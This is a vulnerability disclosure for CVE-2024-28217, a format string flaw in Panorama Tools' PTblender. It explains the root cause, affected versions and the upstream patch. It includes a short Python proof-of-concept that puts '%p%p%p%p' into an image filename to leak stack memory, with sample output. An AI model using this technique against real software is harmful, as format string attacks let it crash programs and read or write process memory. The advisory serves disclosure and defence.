Tainted format string in Panorama Tools (CVE-2024-28217)

Last updated:


Summary

A user-controlled format string in ReadHistograms() in Panorama Tools' PTblender 0.4 through 2.9.21 allows local users to crash the program, or read and write the memory via the filename of an image.

Root cause analysis

The PrintError variadic function takes a format string as the first parameter and is a proxy for PrintErrorIntern. The latter calls vsnprintf(message, sizeof(message)-1, fmt, ap), where fmt can be user-controlled. The output is printed afterward in a printf call.

Having this in mind, one needs to call PrintError with a user-controlled input in order to trigger the format string vulnerability. By analysing the source code, it was deduced that the function is called in this fashion in multiple locations.

PTblender was leveraged as it can produce the following call trace:    1. ColourBrightness.c:ColourBrightness(); 2. ColourBrightness.c:ReadHistograms; and 3. PrintError with a tainted argument.

ReadHistograms creates a tempString2 string using snprintf(tempString2, sizeof(tempString2)-1, "Could not open TIFF file [%s]", tempString). As tempString is user-controlled via PTblender's arguments, it can contain control strings like %s, %p, and %n. They will be reflected in tempString2, which is used as an argument for PrintError, which triggers the format string vulnerability.

CWEs

Affected components and releases

The affected function is ReadHistograms() from ColourBrightness.c, which is called when running the PTblender executable.

PTblender.c and the vulnerable code from ColourBrightness.c were introduces in the revision 217. All subsequent releases after January 2006 (starting from 0.4) are vulnerable.

The vulnerability was patched in 271b8ab4bd66 by removing the snprintf call before PrintError. The commit is embedded in the 2.9.22 release.

This being said, the versions are those between >=0.4 and <=2.9.21.

Attack vector

An attacker must control the filename of the image supplied for processing to PTblender.

Impact

The format string attacks permit the attacker to interrupt PTblender's functioning, read the memory of the process, or write to it.

CVSS v3.1 vector

Steps to reproduce

By running the above script, an error containing the stack's content will be printed:

from pwn import process, ELF
import shutil
import os

FORMAT_STRING = "%p%p%p%p"
FIRST_IMAGE_FILENAME = FORMAT_STRING + ".tiff"
SECOND_IMAGE_FILENAME = "backup.tiff"

shutil.copyfile("image.tiff", FIRST_IMAGE_FILENAME)
shutil.copyfile("image.tiff", SECOND_IMAGE_FILENAME)

p = process(
    [
        "/usr/bin/PTblender",
        "-f",
        "-p",
        "mend",
        FIRST_IMAGE_FILENAME,
        SECOND_IMAGE_FILENAME,
    ]
)

os.remove(FIRST_IMAGE_FILENAME)

output = p.recvall().decode("utf-8")
print(output)

A run of the exploitation script on Ubuntu 22.04 LTS outputs the following:

bash  $ python3 exploit.py  [...] PTblender Version 2.9.20 , originally written by Helmut Dersch, rewritten by Daniel M German Output prefix 2 mend TIFFOpen: %p%p%p%p.tiff: No such file or directory. Could not open TIFF file [0xffffa9cbab58(nil)(nil)0x3ffffa7de4d20.tiff] [...]

Patch

Recommended to the maintainers

As PrintError is intended to be called with a format string and multiple arguments, it can be gcc-annotated with format, such that the format argument is type checked during compilation. Please see gcc's documentation.

Applied by the maintainers

The vulnerability was patched in the commit 271b8a by removing the snprintf calls before the PrintError ones.

The patch was made available to the users in the 2.9.22 release.